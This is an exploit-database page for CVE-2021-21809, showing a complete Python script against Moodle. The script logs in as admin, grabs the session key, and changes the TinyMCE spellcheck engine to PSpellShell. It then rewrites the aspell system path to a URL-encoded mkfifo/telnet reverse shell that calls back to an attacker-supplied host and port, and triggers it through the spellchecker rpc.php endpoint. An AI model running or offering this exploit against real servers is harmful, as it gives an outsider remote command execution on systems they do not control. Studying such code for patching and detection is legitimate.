Exploit databaseDownload repository ZIP
GH-d8dbb3bfb33baea05b6d2e2100b437e5
anldori/cve-2021-21809
Sources for CVE-2021-21809
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
anldori/cve-2021-21809Revision 6b44622a16a5
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2021-21809.py
Python · 2,255 bytesimport requests
username = 'admin'
password = '' # change this
target = "" # change this
uri = "" # change this
l_host = "" # change this
l_port = "" # change this
print('''
Target: %s
URI: %s
Username: %s
Password: %s
''' %(target, uri, username, password))
# exploit
login = "/login/index.php" # change this if needed
url = "http://" + target + uri + login
data = {"username": username, "password": password}
response = requests.post(url, data=data)
data = response.text
if "Invalid login, please try again" in data:
print('Invalid login. Please try another credential.')
exit()
else:
print('Login successfully.\n')
index = data.find("\"sesskey\"")
sesskey = ""
index += 11
while data[index] != "\"":
sesskey += data[index]
index += 1
print('Session key:', sesskey)
# setup payload
setting = "/admin/settings.php"
url = "http://" + target + uri + setting
data = {"section": "editorsettingstinymce", "sesskey": sesskey, 'return': "", "s_editor_tinymce_spellengine": "PSpellShell",
"s_editor_tinymce_spelllanguagelist": "%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv"}
response = requests.post(url, data)
if response.status_code == 200:
print('Changed spell check to PSpellShell.')
else:
exit()
print('''
Listen host: %s
Listen port: %s
''' % (l_host, l_port))
header = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"section": "systempaths", "sesskey": sesskey, 'return': "", "s__gdversion": 2,
"s__pathtodu": "/usr/bin/du",
"s__aspellpath": f"sh%20-c%20%27%28TF%3D%24%28mktemp%20-u%29%3Bmkfifo%20%24TF%20%26%26%20telnet%20{l_host}%20{l_port}%200%3C%24TF%20%7C%20sh%201%3E%24TF%29%27",
"s__pathtodot":""
}
response = requests.post(url, data=data, headers=header)
if response.status_code == 200:
print('Payload sent.')
exploit = "/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php"
url = "http://" + target + uri + exploit
data ="{\"id\":\"c0\",\"method\":\"checkWords\",\"params\":[\"en\",[\"\"]]}"
response = requests.post(url, data)